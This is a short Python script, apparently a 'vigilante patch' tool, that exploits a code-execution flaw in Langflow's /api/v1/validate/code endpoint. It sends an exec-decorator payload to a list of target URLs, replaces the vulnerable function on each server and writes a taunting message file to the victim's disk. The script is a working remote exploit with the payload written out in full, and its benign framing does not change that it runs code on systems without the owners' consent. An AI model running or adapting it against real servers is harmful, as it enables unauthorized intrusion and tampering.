patch.py

import asyncio
import httpx # pip install httpx

message = """\
ello ur computa has virus, u didn't upgrade "Langflow" and it contains a bug and ur computer is hacked

but here is a good news: i patch ur "Langflow" on the fly by just deleting the bug

no thanks

@puddincat07 at telegram / @PuddinCat at github"""


delete_bug_payload = f"""\
from pathlib import Path
import os
from langflow.api.v1 import validate

def dummy_function(*args, **kwargs):
    raise Exception("Nope, this CVE is patched by puddincat07, no thanks")

validate.validate_code = dummy_function

for path in ["/tmp/hello_from_puddincat07.txt", "~/hello_from_puddincat07.txt"]:
    Path(path).expanduser().write_text({message!r})
"""


def build_payload(code):

    return f"""
import os

@exec({code!r})
def f():
    pass
"""


async def eval_on_target(url, code):
    payload = build_payload(f"raise Exception(repr(eval({code!r})))")
    async with httpx.AsyncClient(verify=False) as client:
        try:
            resp = await client.post(
                url.removesuffix("/") + "/api/v1/validate/code", json={"code": payload}
            )
            print(repr(resp.text))
        except Exception:
            pass


async def main():
    urls = [
        # your urls here and i will patch it
    ]

    await asyncio.gather(
        *[eval_on_target(url, f"exec({delete_bug_payload!r})") for url in urls]
    )


if __name__ == "__main__":
    asyncio.run(main())